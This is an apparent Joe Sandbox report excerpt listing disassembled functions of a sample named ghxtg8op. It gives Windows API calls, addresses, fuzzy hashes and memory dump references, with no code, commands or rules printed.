Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c678e2d105d944e9c0b604dc2a1ebc91e2318f31050389d35dad6b04d40fd6d
Instruction ID: 3364e42da555f6a593f4935ae74190ccf094c6b432e5d6ed4afc3e0b499c4469
Opcode Fuzzy Hash: 6c678e2d105d944e9c0b604dc2a1ebc91e2318f31050389d35dad6b04d40fd6d
Instruction Fuzzy Hash: 1C514F31600604ABCF14EF68C991EAE77A6EF45320F1845A8FC46AB396DB31ED05CB71

Function 00D45AEE Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000), ref: 00D45B96

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f1fbb0baa4ce8d7777f92406b6d551a18749339a1783c44e7a1b04f7d21f9f22
Instruction ID: 984d2dace34ba901d004f550d7722cf6469a5a8f0974ad3ccc4f46aeaa90904a
Opcode Fuzzy Hash: f1fbb0baa4ce8d7777f92406b6d551a18749339a1783c44e7a1b04f7d21f9f22
Instruction Fuzzy Hash: B1314D31A00B16AFCB18DF6CD880AADF7B5FF44310F188629D81993719D770B990CBA1

Function 00D60C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00D60CB7

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: a9480683ee2735c8d45b30a79e8d84ffcc8aa9f42b0c4106a46d3ffb7cdf3d4f
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: D5310270A001059FC718DF08C484A6AFBA6FF59300B2A87A5E84ACB351DB31EDD1DBE0

Function 00D7FCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00D7FCB7

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: b3228d7be0787b7d8c13d9ef892c28915993ca79c538f69abee73c3877c2c72a
Instruction ID: e195c8949ee5c7d0221368fc585ae6077549876215eeb2f2759d654460e05eaf
Opcode Fuzzy Hash: b3228d7be0787b7d8c13d9ef892c28915993ca79c538f69abee73c3877c2c72a
Instruction Fuzzy Hash: E64107746083518FDB24DF18C484B1ABBE1BF45314F0988ACE8998B362D732EC45CF62

Function 00D606FE Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dbb6b0dd0e21a5baa57b0cef4d1e408c9bdd22a1601ee47f684ba2cfd1052f6
Instruction ID: c8d9b0db3e374a5cebea887d518193f4813013fb05250c0985c454fc2cbf43ae
Opcode Fuzzy Hash: 6dbb6b0dd0e21a5baa57b0cef4d1e408c9bdd22a1601ee47f684ba2cfd1052f6
Instruction Fuzzy Hash: 53215035405209AFD721DF24D84BBD6BFA4FF46320B06859EE8C547852D7704447CFA5

Function 00D459B9 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D45A01

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 4143f2aca9017c502c94a940fd898ea5657b7b28aac7ab53a04e78bf509c87d0
Instruction ID: 308d0a6bdbd2f8d8959d010e1ec46bf14d89339ce0232fdbf761e57916794edd
Opcode Fuzzy Hash: 4143f2aca9017c502c94a940fd898ea5657b7b28aac7ab53a04e78bf509c87d0
Instruction Fuzzy Hash: 93210271900B08EBCB059F65F8806AA7FB9FF48310F21C86AE489C5115EBB0D5E0DB71

Function 00D44DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D44BB5: FreeLibrary.KERNEL32(00000000,?), ref: 00D44BEF

Part of subcall function 00D6525B: __wfsopen.LIBCMT ref: 00D65266

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00E052F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00D44E0F

Part of subcall function 00D44B6A: FreeLibrary.KERNEL32(00000000), ref: 00D44BA4

Part of subcall function 00D44C70: _memmove.LIBCMT ref: 00D44CBA

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 2f79d45b12a78979ee49dd460d3a8a391de992aa6f65facb09a61c8e30d45ed1
Instruction ID: 74f75957ff87f5b6a02874ed67110d5b61d5b7f80359929f3f60cb4795f5800c
Opcode Fuzzy Hash: 2f79d45b12a78979ee49dd460d3a8a391de992aa6f65facb09a61c8e30d45ed1
Instruction Fuzzy Hash: 3D11A331600306ABCF15AF70C816FAEB7A9EF44710F10882DF542A7181EA719E959B71

Function 00D7FD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00D7FD91

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 0113a29138f8cac944a848295755b1b3c4bcd3f99cd3211491a5c228ef6e70d8
Instruction ID: 8e92aba40b279cd70d2bb431a0f36bda0f3e10ee20abbf625628389640b0a189
Opcode Fuzzy Hash: 0113a29138f8cac944a848295755b1b3c4bcd3f99cd3211491a5c228ef6e70d8
Instruction Fuzzy Hash: 4A21F374A08351DFDB14DF64C444A1BBBE1BF88314F09896CF89A57762D731E849CBA2

Function 00D45BC0 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000), ref: 00D45C16

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 51468256a4a91f830c7e97ee739500e2c43c9c1d0780a62731f90c51c77bfb3c
Instruction ID: 00b83b909ddd267407e35c480d18ee03a02cb001be4122d2099c45a607978832
Opcode Fuzzy Hash: 51468256a4a91f830c7e97ee739500e2c43c9c1d0780a62731f90c51c77bfb3c
Instruction Fuzzy Hash: 91113635200B059FD3208F19E880B62B7F9EF44760F14C92EE9AA86A56D7B0E844CB60

Function 00D45A7A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D7DD18

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 14d5dc22de30b69a2dca6a7e42185d7ce86be11b0e2de9582ebe648f8a374807
Instruction ID: 1bcf5ee696a6193d1a20bd4998fb410082d10bb4e2058e1aa78f48edd0095e81
Opcode Fuzzy Hash: 14d5dc22de30b69a2dca6a7e42185d7ce86be11b0e2de9582ebe648f8a374807
Instruction Fuzzy Hash: AC017CB5600A02AFC705EB28D441D2AFBAAFF8A3107148569F859C7702DB31EC21CBF0

Function 00D64863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00D648A6

Part of subcall function 00D68B28: __getptd_noexit.LIBCMT ref: 00D68B28

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: cffb8a953813f68d7e04b4d390b2e60127887f6250b37dee7ed79cf03a1fe832
Instruction ID: f49aa7f55d59a969dba39321f6ccf4e2789d0b0a20123ef3043ddae6cb8d195c
Opcode Fuzzy Hash: cffb8a953813f68d7e04b4d390b2e60127887f6250b37dee7ed79cf03a1fe832
Instruction Fuzzy Hash: C1F0C271901649EBDF11AFB88C067AE7BA1EF10325F158614F4249B191CB78C951EF71

Function 00D44E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00E052F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00D44E7E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 51fe473e263e6a9fc44a0a986c1be3396793efab5d43c79812298bd26203d5ad
Instruction ID: ac9b3385d2363471d3cf4004fff6c10c41d4eeadf261a3112a2cd0a1ada0d297
Opcode Fuzzy Hash: 51fe473e263e6a9fc44a0a986c1be3396793efab5d43c79812298bd26203d5ad
Instruction Fuzzy Hash: EFF03971501712CFCB349F64E494912BBE1BF143393288A3EF1D682620C7329880DF60

Function 00D60791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,00007FFF,?,?,?,00D472BD,00000001,00E06290,?,00D43BBB,00E052F8,00E052E0,?,?), ref: 00D607B0

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 7f475b5c7052421d2edae3f01430a629908446b3434ee6d8ae800471bb5e73c4
Instruction ID: 4ef72a288ffcfb6fcacc23d4fdc276fd67713c94499a5f5b546efb841d1b296c
Opcode Fuzzy Hash: 7f475b5c7052421d2edae3f01430a629908446b3434ee6d8ae800471bb5e73c4
Instruction Fuzzy Hash: 33E0CD369042295BC721D65C9C05FEAB7DDDF887A0F0441B5FD0CD7304DA609C808AF0

Function 00DA8E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00DA8EC1

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: 515f0cab9d62a6b87999a2b0dd5226866eedafed98db2078c9a4cec6c5ea71a6
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: 42E092B1504B009BD7388E24D800BA373E1EB06304F04081DF6AA83241EB6378419769

Function 00D62C44 Relevance: 1.5, APIs: 1, Instructions: 16COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D63217: __lock.LIBCMT ref: 00D63219

__onexit_nolock.LIBCMT ref: 00D62C60

Part of subcall function 00D62C88: RtlDecodePointer.NTDLL(?,00000000,00000000,?,?,00D62C65,00D7B5BA,00DF9ED0), ref: 00D62C9B
Part of subcall function 00D62C88: DecodePointer.KERNEL32(?,?,00D62C65,00D7B5BA,00DF9ED0), ref: 00D62CA6
Part of subcall function 00D62C88: __realloc_crt.LIBCMT ref: 00D62CE7
Part of subcall function 00D62C88: __realloc_crt.LIBCMT ref: 00D62CFB
Part of subcall function 00D62C88: EncodePointer.KERNEL32(00000000,?,?,00D62C65,00D7B5BA,00DF9ED0), ref: 00D62D0D
Part of subcall function 00D62C88: EncodePointer.KERNEL32(00D7B5BA,?,?,00D62C65,00D7B5BA,00DF9ED0), ref: 00D62D1B
Part of subcall function 00D62C88: EncodePointer.KERNEL32(00000004,?,?,00D62C65,00D7B5BA,00DF9ED0), ref: 00D62D27

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Pointer$Encode$Decode__realloc_crt$__lock__onexit_nolock
String ID:
API String ID: 3536590627-0
Opcode ID: a4484af2a16eb4dd773ec0a06d0d373d5f8cefde867d2d21413a1357ddcf8aef
Instruction ID: 1df224b725751e114cc8fee5eb917c6858123bfc839ece3eae33ea337617d6d6
Opcode Fuzzy Hash: a4484af2a16eb4dd773ec0a06d0d373d5f8cefde867d2d21413a1357ddcf8aef
Instruction Fuzzy Hash: B3D01271D4160DABDB10BBA4C90676C7A60EF14722F518345F014661C2CB780B019FB6

Function 00D45C4E Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001), ref: 00D45C5F

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d58b6823a038b89e329c52ffe466fefe2bc1fc2fb993e80a77b547a9574b1d47
Instruction ID: ac19681d533f891a23f18a6c2571954a50ca63fbdcb89ca80cb999f0cfa02492
Opcode Fuzzy Hash: d58b6823a038b89e329c52ffe466fefe2bc1fc2fb993e80a77b547a9574b1d47
Instruction Fuzzy Hash: 92D0C77464030CBFE710DB80DC46FA9777DD705710F100194FD0496390D6B27D508795

Function 00D6525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00D65266

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: bfefa9ff1d3727d894571984ac0ce34836e9130a130934dfec95e3fc6c0d46f8
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: E9B0927644020C77CE012A82FC02A493B199B45764F408020FB0C18162E673A6A49AA9

Function 00DAD07B Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00DAD1FF

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 19dd120714b0ab5f830b1867ca8d88a3e26a62ab2d5ef3b006863d323ec3c307
Instruction ID: a5f3b1a832dae9b4dadf4bc3e06dbdb6f41dcbad31f45e6254d8be9dcde2799a
Opcode Fuzzy Hash: 19dd120714b0ab5f830b1867ca8d88a3e26a62ab2d5ef3b006863d323ec3c307
Instruction Fuzzy Hash: 8A714E346043018FCB14EF68D491A6EB7E5EF8A314F04492DF8969B7A2DB30E945CB72

Function 00993DA8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00993DB9

Memory Dump Source

Source File: 00000005.00000002.486369482.0000000000991000.00000040.00000020.00020000.00000000.sdmp, Offset: 00991000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_991000_ghxtg8op.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: b8449012ada40eefd0da39224076ae01429e843d0a252d18a65e312f564b1980
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: A8E0E67494010EDFDB00DFB8D54969E7BB4EF04301F104161FD01D2680DA309E508A62

Non-executed Functions

Function 00DCCABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00D42612: GetWindowLongW.USER32(?,000000EB), ref: 00D42623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00DCCB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00DCCB95
GetWindowLongW.USER32(?,000000F0), ref: 00DCCBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00DCCC00
SendMessageW.USER32 ref: 00DCCC29
_wcsncpy.LIBCMT ref: 00DCCC95
GetKeyState.USER32(00000011), ref: 00DCCCB6
GetKeyState.USER32(00000009), ref: 00DCCCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00DCCCD9
GetKeyState.USER32(00000010), ref: 00DCCCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00DCCD0C
SendMessageW.USER32 ref: 00DCCD33
SendMessageW.USER32(?,00001030,?,00DCB348), ref: 00DCCE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00DCCE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00DCCE60
SetCapture.USER32(?), ref: 00DCCE69
ClientToScreen.USER32(?,?), ref: 00DCCECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00DCCEDB
InvalidateRect.USER32(?,00000000,00000001), ref: 00DCCEF5
ReleaseCapture.USER32(?,?,?), ref: 00DCCF00
GetCursorPos.USER32(?), ref: 00DCCF3A
ScreenToClient.USER32(?,?), ref: 00DCCF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 00DCCFA3
SendMessageW.USER32 ref: 00DCCFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 00DCD00E
SendMessageW.USER32 ref: 00DCD03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00DCD05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00DCD06D
GetCursorPos.USER32(?), ref: 00DCD08D
ScreenToClient.USER32(?,?), ref: 00DCD09A
GetParent.USER32(?), ref: 00DCD0BA
